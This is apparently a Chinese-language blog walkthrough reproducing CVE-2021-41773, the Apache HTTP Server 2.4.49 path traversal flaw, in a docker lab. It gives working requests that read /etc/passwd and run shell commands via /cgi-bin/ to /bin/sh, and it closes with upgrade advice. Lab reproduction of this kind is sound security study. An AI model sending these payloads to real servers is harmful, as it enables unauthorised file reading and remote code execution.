Apache HTTP Server 2.4.49 中的路徑遍歷和檔案洩露漏洞 (CVE-2021-41773)
阿新 • • 發佈:2022-05-15
0x01漏洞概述
Apache HTTP Server專案是為包括UNIX和Windows在內的現代作業系統開發和維護開源HTTP伺服器的努力。
在Apache HTTP Server 2.4.49中對路徑規範化所做的更改中發現了一個缺陷。攻擊者可以使用路徑遍歷攻擊將 URL 對映到預期文件根目錄之外的檔案。
如果這些目錄之外的檔案不受通常的預設配置“要求全部拒絕”的保護,則這些請求可能會成功。如果還為這些別名路徑啟用了CGI指令碼,則可能允許遠端執行程式碼。
0x02漏洞復現
(1)進入漏洞環境目錄,開啟環境
docker-compose up -d
(2)訪問漏洞環境頁面
http://IP地址:8080/
(3)使用burpsuite抓包
GET / HTTP/1.1 Host: 192.168.207.132:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT If-None-Match: "2d-432a5e4a73a80" Cache-Control: max-age=0
(4)傳送到重發器,進行改包操作
改變GET請求,程式碼如下:
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
路徑穿越成功!
(5)進行RCE程式碼執行
修改成POST請求,執行程式碼如下:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
echo; ls
執行成功
(6) 關閉靶場環境
docker-compose down
0x03修復方案
建議升級到最新版的Apache HTTP Server 版本。
0x04利用工具
在github檢視到一篇文章,有一個利用工具。